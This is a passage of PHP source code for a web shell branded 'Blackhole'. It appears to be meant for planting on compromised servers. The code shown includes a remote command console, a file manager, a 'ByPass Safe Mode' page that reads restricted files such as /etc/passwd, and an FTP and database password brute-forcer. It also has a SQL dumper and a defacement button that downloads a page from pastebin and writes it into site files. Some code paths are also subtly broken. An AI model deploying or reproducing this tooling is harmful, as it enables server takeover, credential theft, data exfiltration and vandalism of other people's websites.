  625. foreach($_SESSION['f'] as $f)
  626. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  627. } elseif($_SESSION['act'] == 'move') {
  628. function move_paste($c,$s,$d){
  629. if(is_dir($c.$s)){
  630. mkdir($d.$s);
  631. $h = opendir($c.$s);
  632. while (($f = readdir($h)) !== false)
  633. if (($f != ".") and ($f != "..")) {
  634. copy_paste($c.$s.'/',$f, $d.$s.'/');
  635. }
  636. } elseif(is_file($c.$s)) {
  637. @copy($c.$s, $d.$s);
  638. }
  639. }
  640. foreach($_SESSION['f'] as $f)
  641. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  642. }
  643. unset($_SESSION['f']);
  644. break;
  645. default:
  646. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  647. $_SESSION['act'] = @$_POST['p1'];
  648. $_SESSION['f'] = @$_POST['f'];
  649. foreach($_SESSION['f'] as $k => $f)
  650. $_SESSION['f'][$k] = urldecode($f);
  651. $_SESSION['cwd'] = @$_POST['c'];
  652. }
  653. break;
  654. }
  655. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  656. }
  657. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  658. $def = file_get_contents('http://pastebin.com/download.php?i=Q72TEV9B');
  659. file_put_contents($_POST['c'].$_POST['p2'],$def);
  660. }
  661. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  662. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  663. global $sort;
  664. $sort = array('name', 1);
  665. if(!empty($_POST['p1'])) {
  666. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  667. $sort = array($match[1], (int)$match[2]);
  668. }
  669. echo '<script>
  670. function sa() {
  671. for(i=0;i<document.files.elements.length;i++)
  672. if(document.files.elements[i].type == \'checkbox\')
  673. document.files.elements[i].checked = document.files.elements[0].checked;
  674. }
  675. </script>
  676. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  677. <form name=files method=post>';
  678. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  679. $dirs = $files = $links = array();
  680. $n = count($dirContent);
  681. for($i=0;$i<$n;$i++) {
  682. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  683. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  684. $tmp = array('name' => $dirContent[$i],
  685. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  686. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  687. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  688. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  689. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  690. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  691. );
  692. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  693. $files[] = array_merge($tmp, array('type' => 'file'));
  694. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  695. $links[] = array_merge($tmp, array('type' => 'link'));
  696. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  697. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  698. }
  699. $GLOBALS['sort'] = $sort;
  700. function cmp($a, $b) {
  701. if($GLOBALS['sort'][0] != 'size')
  702. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  703. else
  704. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  705. }
  706. usort($files, "cmp");
  707. usort($dirs, "cmp");
  708. usort($links, "cmp");
  709. $files = array_merge($dirs, $links, $files);
  710. $l = 0;
  711. foreach($files as $f) {
  712. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  713. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  714. $l = $l?0:1;
  715. }
  716. echo '<tr><td colspan=5>
  717. <input type=hidden name=a value=\'FilesMan\'>
  718. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  719. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  720. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  721. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  722. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="Blackhole.html" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
  723. </form></table></div>';
  724. printFooter();
  725. }
  726.  
  727. function actionStringTools() {
  728. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  729. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  730. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  731. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  732.  
  733. if(isset($_POST['ajax'])) {
  734. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  735. ob_start();
  736. if(function_exists($_POST['p1']))
  737. echo $_POST['p1']($_POST['p2']);
  738. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
  739. \
  740. \t\\'\0")."';\
  741. ";
  742. echo strlen($temp), "\
  743. ", $temp;
  744. exit;
  745. }
  746. printHeader();
  747. echo '<h1>String Converter</h1><div class=content>';
  748. $stringTools = array(
  749. 'Base64 encode' => 'base64_encode',
  750. 'Base64 decode' => 'base64_decode',
  751. 'Url encode' => 'urlencode',
  752. 'Url decode' => 'urldecode',
  753. 'Full urlencode' => 'full_urlencode',
  754. 'md5 hash' => 'md5',
  755. 'sha1 hash' => 'sha1',
  756. 'crypt' => 'crypt',
  757. 'CRC32' => 'crc32',
  758. 'ASCII to HEX' => 'ascii2hex',
  759. 'HEX to ASCII' => 'hex2ascii',
  760. 'HEX to DEC' => 'hexdec',
  761. 'HEX to BIN' => 'hex2bin',
  762. 'DEC to HEX' => 'dechex',
  763. 'DEC to BIN' => 'decbin',
  764. 'BIN to HEX' => 'bin2hex',
  765. 'BIN to DEC' => 'bindec',
  766. 'String to lower case' => 'strtolower',
  767. 'String to upper case' => 'strtoupper',
  768. 'Htmlspecialchars' => 'htmlspecialchars',
  769. 'String length' => 'strlen',
  770. );
  771. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  772. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  773. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  774. foreach($stringTools as $k => $v)
  775. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  776. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  777. if(!empty($_POST['p1'])) {
  778. if(function_exists($_POST['p1']))
  779. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  780. }
  781. echo"</pre></div>";
  782. printFooter();
  783. }
  784.  
  785. function actionFilesTools() {
  786. if( isset($_POST['p1']) )
  787. $_POST['p1'] = urldecode($_POST['p1']);
  788. if(@$_POST['p2']=='download') {
  789. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  790. ob_start("ob_gzhandler", 4096);
  791. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  792. if (function_exists("mime_content_type")) {
  793. $type = @mime_content_type($_POST['p1']);
  794. header("Content-Type: ".$type);
  795. }
  796. $fp = @fopen($_POST['p1'], "r");
  797. if($fp) {
  798. while(!@feof($fp))
  799. echo @fread($fp, 1024);
  800. fclose($fp);
  801. }
  802. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  803.  
  804. }
  805. exit;
  806. }
  807. if( @$_POST['p2'] == 'mkfile' ) {
  808. if(!file_exists($_POST['p1'])) {
  809. $fp = @fopen($_POST['p1'], 'w');
  810. if($fp) {
  811. $_POST['p2'] = "edit";
  812. fclose($fp);
  813. }
  814. }
  815. }
  816. printHeader();
  817. echo '<h1>File tools</h1><div class=content>';
  818. if( !file_exists(@$_POST['p1']) ) {
  819. echo 'File not exists';
  820. printFooter();
  821. return;
  822. }
  823. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  824. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  825. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  826. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  827. if( empty($_POST['p2']) )
  828. $_POST['p2'] = 'view';
  829. if( is_file($_POST['p1']) )
  830. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  831. else
  832. $m = array('Chmod', 'Rename', 'Touch');
  833. foreach($m as $v)
  834. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  835. echo '<br><br>';
  836. switch($_POST['p2']) {
  837. case 'view':
  838. echo '<pre class=ml1>';
  839. $fp = @fopen($_POST['p1'], 'r');
  840. if($fp) {
  841. while( !@feof($fp) )
  842. echo htmlspecialchars(@fread($fp, 1024));
  843. @fclose($fp);
  844. }
  845. echo '</pre>';
  846. break;
  847. case 'highlight':
  848. if( is_readable($_POST['p1']) ) {
  849. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  850. $code = highlight_file($_POST['p1'],true);
  851. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  852. }
  853. break;
  854. case 'chmod':
  855. if( !empty($_POST['p3']) ) {
  856. $perms = 0;
  857. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  858. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  859. if(!@chmod($_POST['p1'], $perms))
  860. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  861. else
  862. die('<script>g(null,null,null,null,"")</script>');
  863. }
  864. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  865. break;
  866. case 'edit':
  867. if( !is_writable($_POST['p1'])) {
  868. echo 'File isn\'t writeable';
  869. break;
  870. }
  871. if( !empty($_POST['p3']) ) {
  872. @file_put_contents($_POST['p1'],$_POST['p3']);
  873. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  874. }
  875. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  876. $fp = @fopen($_POST['p1'], 'r');
  877. if($fp) {
  878. while( !@feof($fp) )
  879. echo htmlspecialchars(@fread($fp, 1024));
  880. @fclose($fp);
  881. }
  882. echo '</textarea><input type=submit value=">>"></form>';
  883. break;
  884. case 'hexdump':
  885. $c = @file_get_contents($_POST['p1']);
  886. $n = 0;
  887. $h = array('00000000<br>','','');
  888. $len = strlen($c);
  889. for ($i=0; $i<$len; ++$i) {
  890. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  891. switch ( ord($c[$i]) ) {
  892. case 0: $h[2] .= ' '; break;
  893. case 9: $h[2] .= ' '; break;
  894. case 10: $h[2] .= ' '; break;
  895. case 13: $h[2] .= ' '; break;
  896. default: $h[2] .= $c[$i]; break;
  897. }
  898. $n++;
  899. if ($n == 32) {
  900. $n = 0;
  901. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  902. $h[1] .= '<br>';
  903. $h[2] .= "\
  904. ";
  905. }
  906. }
  907. echo '<table cellspacing=1 cellpadding=5 bgcolor=#000000><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#000000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  908. break;
  909. case 'rename':
  910. if( !empty($_POST['p3']) ) {
  911. if(!@rename($_POST['p1'], $_POST['p3']))
  912. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  913. else
  914. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  915. }
  916. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  917. break;
  918. case 'touch':
  919. if( !empty($_POST['p3']) ) {
  920. $time = strtotime($_POST['p3']);
  921. if($time) {
  922. if(@touch($_POST['p1'],$time,$time))
  923. die('<script>g(null,null,null,null,"")</script>');
  924. else {
  925. echo 'Fail!<script>document.mf.p3.value="";</script>';
  926. }
  927. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  928. }
  929. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  930. break;
  931. case 'mkfile':
  932.  
  933. break;
  934. }
  935. echo '</div>';
  936. printFooter();
  937. }
  938.  
  939. function actionSafeMode() {
  940. $temp='';
  941. ob_start();
  942. switch($_POST['p1']) {
  943. case 1:
  944. $temp=@tempnam($test, 'cx');
  945. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  946. echo @file_get_contents($temp);
  947. unlink($temp);
  948. } else
  949. echo 'Sorry... Can\'t open file';
  950. break;
  951. case 2:
  952. $files = glob($_POST['p2'].'*');
  953. if( is_array($files) )
  954. foreach ($files as $filename)
  955. echo $filename."\
  956. ";
  957. break;
  958. case 3:
  959. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  960. curl_exec($ch);
  961. break;
  962. case 4:
  963. ini_restore("safe_mode");
  964. ini_restore("open_basedir");
  965. include($_POST['p2']);
  966. break;
  967. case 5:
  968. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  969. $uid = @posix_getpwuid($_POST['p2']);
  970. if ($uid)
  971. echo join(':',$uid)."\
  972. ";
  973. }
  974. break;
  975. case 6:
  976. if(!function_exists('imap_open'))break;
  977. $stream = imap_open($_POST['p2'], "", "");
  978. if ($stream == FALSE)
  979. break;
  980. echo imap_body($stream, 1);
  981. imap_close($stream);
  982. break;
  983. }
  984. $temp = ob_get_clean();
  985. printHeader();
  986. echo '<h1>ByPass Safe Mode !</h1><div class=content>';
  987. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  988. if($temp)
  989. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  990. echo '</div>';
  991. printFooter();
  992. }
  993.  
  994. function actionConsole() {
  995. if(isset($_POST['ajax'])) {
  996. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  997. ob_start();
  998. echo "document.cf.cmd.value='';\
  999. ";
  1000. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\
  1001. $ ".$_POST['p1']."\
  1002. ".ex($_POST['p1']),"\
  1003. \
  1004. \t\\'\0"));
  1005. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1006. if(@chdir($match[1])) {
  1007. $GLOBALS['cwd'] = @getcwd();
  1008. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1009. }
  1010. }
  1011. echo "document.cf.output.value+='".$temp."';";
  1012. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1013. $temp = ob_get_clean();
  1014. echo strlen($temp), "\
  1015. ", $temp;
  1016. exit;
  1017. }
  1018. printHeader();
  1019.  
  1020. echo '<script>
  1021. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1022. var cmds = new Array("");
  1023. var cur = 0;
  1024. function kp(e) {
  1025. var n = (window.Event) ? e.which : e.keyCode;
  1026. if(n == 38) {
  1027. cur--;
  1028. if(cur>=0)
  1029. document.cf.cmd.value = cmds[cur];
  1030. else
  1031. cur++;
  1032. } else if(n == 40) {
  1033. cur++;
  1034. if(cur < cmds.length)
  1035. document.cf.cmd.value = cmds[cur];
  1036. else
  1037. cur--;
  1038. }
  1039. }
  1040. function add(cmd) {
  1041. cmds.pop();
  1042. cmds.push(cmd);
  1043. cmds.push("");
  1044. cur = cmds.length-1;
  1045. }
  1046. </script>';
  1047. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1048. foreach($GLOBALS['aliases'] as $n => $v) {
  1049. if($v == '') {
  1050. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1051. continue;
  1052. }
  1053. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1054. }
  1055. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1056. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1057. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1058. if(!empty($_POST['p1'])) {
  1059. echo htmlspecialchars("$ ".$_POST['p1']."\
  1060. ".ex($_POST['p1']));
  1061. }
  1062. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
  1063. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1064. printFooter();
  1065. }
  1066.  
  1067. function actionLogout() {
  1068. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1069. echo '<body bgcolor=#000000><center><img src="http://images.all-free-download.com/images/graphiclarge/abstract_indian_shiny_flag_black_tricolor_wave_6818267.jpg"></center></body>';
  1070. }
  1071.  
  1072. function actionSelfRemove() {
  1073. printHeader();
  1074. if($_POST['p1'] == 'yes') {
  1075. if(@unlink(SELF_PATH))
  1076. die('Thank You For Your Hospitality, Blackhole !!');
  1077. else
  1078. echo 'unlink error!';
  1079. }
  1080. echo '<h1>Suicide</h1><div class=content>You really want to remove me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1081. printFooter();
  1082. }
  1083.  
  1084. function actionBruteforce() {
  1085. printHeader();
  1086. if( isset($_POST['proto']) ) {
  1087. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1088. if( $_POST['proto'] == 'ftp' ) {
  1089. function bruteForce($ip,$port,$login,$pass) {
  1090. $fp = @ftp_connect($ip, $port?$port:21);
  1091. if(!$fp) return false;
  1092. $res = @ftp_login($fp, $login, $pass);
  1093. @ftp_close($fp);
  1094. return $res;
  1095. }
  1096. } elseif( $_POST['proto'] == 'mysql' ) {
  1097. function bruteForce($ip,$port,$login,$pass) {
  1098. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1099. @mysql_close($res);
  1100. return $res;
  1101. }
  1102. } elseif( $_POST['proto'] == 'pgsql' ) {
  1103. function bruteForce($ip,$port,$login,$pass) {
  1104. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  1105. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  1106. @pg_close($res);
  1107. return $res;
  1108. }
  1109. }
  1110. $success = 0;
  1111. $attempts = 0;
  1112. $server = explode(":", $_POST['server']);
  1113. if($_POST['type'] == 1) {
  1114. $temp = @file('/etc/passwd');
  1115. if( is_array($temp) )
  1116. foreach($temp as $line) {
  1117. $line = explode(":", $line);
  1118. ++$attempts;
  1119. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1120. $success++;
  1121. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1122. }
  1123. if(@$_POST['reverse']) {
  1124. $tmp = "";
  1125. for($i=strlen($line[0])-1; $i>=0; --$i)
  1126. $tmp .= $line[0][$i];
  1127. ++$attempts;
  1128. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1129. $success++;
  1130. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1131. }
  1132. }
  1133. }
  1134. } elseif($_POST['type'] == 2) {
  1135. $temp = @file($_POST['dict']);
  1136. if( is_array($temp) )
  1137. foreach($temp as $line) {
  1138. $line = trim($line);
  1139. ++$attempts;
  1140. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1141. $success++;
  1142. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1143. }
  1144. }
  1145. }
  1146. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1147. }
  1148. echo '<h1>FTP BruteForce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1149. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1150. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1151. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1152. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1153. .'<span>Server:Port</span></td>'
  1154. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1155. .'<tr><td><span>Brute type</span></td>'
  1156. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1157. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1158. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1159. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1160. .'<td><input type=text name=login value="Blackhole"></td></tr>'
  1161. .'<tr><td><span>Dictionary</span></td>'
  1162. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1163. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1164. echo '</div><br>';
  1165. printFooter();
  1166. }
  1167.  
  1168. function actionSql() {
  1169. class DbClass {
  1170. var $type;
  1171. var $link;
  1172. var $res;
  1173. function DbClass($type) {
  1174. $this->type = $type;
  1175. }
  1176. function connect($host, $user, $pass, $dbname){
  1177. switch($this->type) {
  1178. case 'mysql':
  1179. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1180. break;
  1181. case 'pgsql':
  1182. $host = explode(':', $host);
  1183. if(!$host[1]) $host[1]=5432;
  1184. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1185. break;
  1186. }
  1187. return false;
  1188. }
  1189. function selectdb($db) {
  1190. switch($this->type) {
  1191. case 'mysql':
  1192. if (@mysql_select_db($db))return true;
  1193. break;
  1194. }
  1195. return false;
  1196. }
  1197. function query($str) {
  1198. switch($this->type) {
  1199. case 'mysql':
  1200. return $this->res = @mysql_query($str);
  1201. break;
  1202. case 'pgsql':
  1203. return $this->res = @pg_query($this->link,$str);
  1204. break;
  1205. }
  1206. return false;
  1207. }
  1208. function fetch() {
  1209. $res = func_num_args()?func_get_arg(0):$this->res;
  1210. switch($this->type) {
  1211. case 'mysql':
  1212. return @mysql_fetch_assoc($res);
  1213. break;
  1214. case 'pgsql':
  1215. return @pg_fetch_assoc($res);
  1216. break;
  1217. }
  1218. return false;
  1219. }
  1220. function listDbs() {
  1221. switch($this->type) {
  1222. case 'mysql':
  1223. return $this->res = @mysql_list_dbs($this->link);
  1224. break;
  1225. case 'pgsql':
  1226. return $this->res = $this->query("SELECT datname FROM pg_database");
  1227. break;
  1228. }
  1229. return false;
  1230. }
  1231. function listTables() {
  1232. switch($this->type) {
  1233. case 'mysql':
  1234. return $this->res = $this->query('SHOW TABLES');
  1235. break;
  1236. case 'pgsql':
  1237. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1238. break;
  1239. }
  1240. return false;
  1241. }
  1242. function error() {
  1243. switch($this->type) {
  1244. case 'mysql':
  1245. return @mysql_error($this->link);
  1246. break;
  1247. case 'pgsql':
  1248. return @pg_last_error($this->link);
  1249. break;
  1250. }
  1251. return false;
  1252. }
  1253. function setCharset($str) {
  1254. switch($this->type) {
  1255. case 'mysql':
  1256. if(function_exists('mysql_set_charset'))
  1257. return @mysql_set_charset($str, $this->link);
  1258. else
  1259. $this->query('SET CHARSET '.$str);
  1260. break;
  1261. case 'mysql':
  1262. return @pg_set_client_encoding($this->link, $str);
  1263. break;
  1264. }
  1265. return false;
  1266. }
  1267. function dump($table) {
  1268. switch($this->type) {
  1269. case 'mysql':
  1270. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1271. $create = mysql_fetch_array($res);
  1272. echo $create[1].";\
  1273. \
  1274. ";
  1275. $this->query('SELECT * FROM `'.$table.'`');
  1276. while($item = $this->fetch()) {
  1277. $columns = array();
  1278. foreach($item as $k=>$v) {
  1279. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1280. $columns[] = "`".$k."`";
  1281. }
  1282. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
  1283. ";
  1284. }
  1285. break;
  1286. case 'pgsql':
  1287. $this->query('SELECT * FROM '.$table);
  1288. while($item = $this->fetch()) {
  1289. $columns = array();
  1290. foreach($item as $k=>$v) {
  1291. $item[$k] = "'".addslashes($v)."'";
  1292. $columns[] = $k;
  1293. }
